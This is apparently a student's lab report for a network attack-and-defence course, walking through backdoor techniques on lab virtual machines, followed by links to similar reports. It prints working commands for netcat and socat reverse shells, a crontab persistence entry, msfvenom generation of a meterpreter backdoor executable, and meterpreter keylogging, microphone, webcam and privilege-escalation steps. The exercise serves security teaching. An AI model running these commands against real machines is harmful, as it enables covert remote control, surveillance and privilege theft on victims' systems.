20155208徐子涵《网络对抗》Exp2 后门原理与实践

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:当我们在非官方网站上下载软件时,后门极有可能会进入我们的系统,或者我们的电脑插入陌生可疑的U盘时,也有可能会让某些后门乘虚而入。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:可能会通过反弹和windows计划任务(这个是看老师的实验指导后知道的)。

(3)Meterpreter有哪些给你印像深刻的功能?

答: 我觉得让我印象最深刻的是操纵对方的摄像头进行拍照和录像(但是我的虚拟机里没有摄像头驱动,没有成功实现)。

(4)如何发现自己有系统有没有被安装后门?

我觉得可以通过查看后台进程,看看有没有可疑的进程。

实验内容

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

Linux获得Windows Shell

  • 首先通过ipconfig指令获取windows主机IP

  • 然后使用nc指令监听5208端口:

    nc -l -p 5208

  • 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5208端口:

  • 连接成功如下,可以运行指令

一、使用netcat获取主机操作Shell,cron启动

cron:

cron是一个linux下 的定时执行工具 ,可以在无需人工干预的情况下运行作业。

crontab -u //设定某个用户的cron服务,一般root 用户在执行 这个命令的时候需要此参数

crontab -l //列出某个用户cron服务的详细内容

crontab -r //删除 没个用户的cron服务

crontab -e //编辑某个用户的cron服务
  • 在windows上打开cmd,并通过ncat开放端口5208

  • 在linux上反弹连接win:nc 192.168.88.130 5208 -e /bin/sh

  • 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

  • crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行

  • 在最后一行添加55 * * * * /bin/netcat 192.168.88.130 5208 -e /bin/sh,意思是在每个小时的第37分钟反向连接Windows主机的5208端口,设置成37的原因是我当时的时间是20点53,为了能立马看到效果,所以我将时间设置在了两分钟以后:

  • 当时间到了20点55时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了55分时会立马显示出来):

使用socat获取主机操作Shell, 任务计划启动

  • 下载安装socat软件

  • 为其配置环境变量

  • 在windows上开放5208端口,并把cmd的stderr重定向到stdout

  • socat tcp-listen:5208 exec:cmd,pty,stderr

    在linux开启监听:socat - tcp:192.168.88.130:5208

  • 成功连接到kali虚拟机如图:

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 输入指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.130 LPORT=5208 -f exe > 20155208_backdoor.exe

生成后门程序如图:

  • 通过nc指令将生成的后门程序传送到Windows主机上

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

  • 设置完成后,执行监听:

  • 然后打开Windows上的后门程序

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频:

  • 使用webcam_snap指令可以使用摄像头进行拍照

  • 使用webcam stream指令可以使用摄像头进行录像

    (由于我的虚拟机中没有摄像头的驱动,故没有完成这一环节的操作,非常遗憾。)

  • 使用screenshot指令可以进行截屏:



  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

先使用getuid指令查看当前用户,使用getsystem指令进行提权

实验过程中遇到的问题及解决

问题: 使用socat的时候连接不成功。

解决方式: 出现这一问题的原因是在设置管理工具中的触发器时出现了错误。

实验心得总结

经过了这次实验,让我对后门的概念有了一定的理解,也让我对网络攻防产生了更大的兴趣,从另一方面看,我们在日常使用计算机的时候,也要时刻注意不能让后门程序乘虚而入,时刻关注自己的计算机安全。

20155208徐子涵《网络对抗》Exp2 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  9. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

随机推荐

  1. 剑指offer(22)从上往下打印二叉树

    题目描述 从上往下打印出二叉树的每个节点,同层节点从左至右打印. 题目分析 从下打印就是按层次打印,其实也就是树的广度遍历. 一般来说树的广度遍历用队列,利用先进先出的特点来保存之前节点,并操作之前的 ...

  2. Java基础学习-注释的概述和分类

    /*     注释:用于解释说明程序的文字          分类:             单行://             多行:/**/       作用:解释说明程序,提高程序的阅读性 */ ...

  3. Windows Server 2008 R2 下载地址

    以下资源均来自微软 MSDN,是原汁原味的原版系统资源,值得系统爱好者收藏.以下多数链接是 ed2k 链接,推荐使用国外开源的 eMule 下载,亦可使用迅雷,但使用 eMule 更有利于共享资源. ...

  4. 【论文笔记】CBAM: Convolutional Block Attention Module

    CBAM: Convolutional Block Attention Module 2018-09-14 21:52:42 Paper:http://openaccess.thecvf.com/co ...

  5. CSS基础学习(一) 之 line-height 与 height 属性区别

    官方定义: height:定义了了元素的高度.默认情况下,该属性订了 content area(内容区域) 的高度.如果box-sizing属性设置为 border-box,那么height就表示bo ...

  6. [Angular] 'providedIn' for service

    There is now a new, recommended, way to register a provider, directly inside the @Injectable() decor ...

  7. springboot启动配置原理之一(创建SpringApplication对象)

    几个重要的事件回调机制 配置在META-INF/spring.factories ApplicationContextInitializer SpringApplicationRunListener ...

  8. 每天跟着书敲Mysql

    要深入学下Mysql操作啦 CRUD,create,retrieve,update,delete

  9. pandas数据结构之Dataframe

    Dataframe DataFrame是一个[表格型]的数据结构,可以看做是[由Series组成的字典](多个series共用同一个索引).DataFrame由按一定顺序排列的多列数据组成.设计初衷是 ...

  10. JavaScript(ES6)学习笔记-Set和Map数据结构(一)

    一.Set 1.ES6 提供了新的数据结构 Set.它类似于数组,但是成员的值都是唯一的,没有重复的值. Set 本身是一个构造函数,用来生成 Set 数据结构. , , , , ']); s; // ...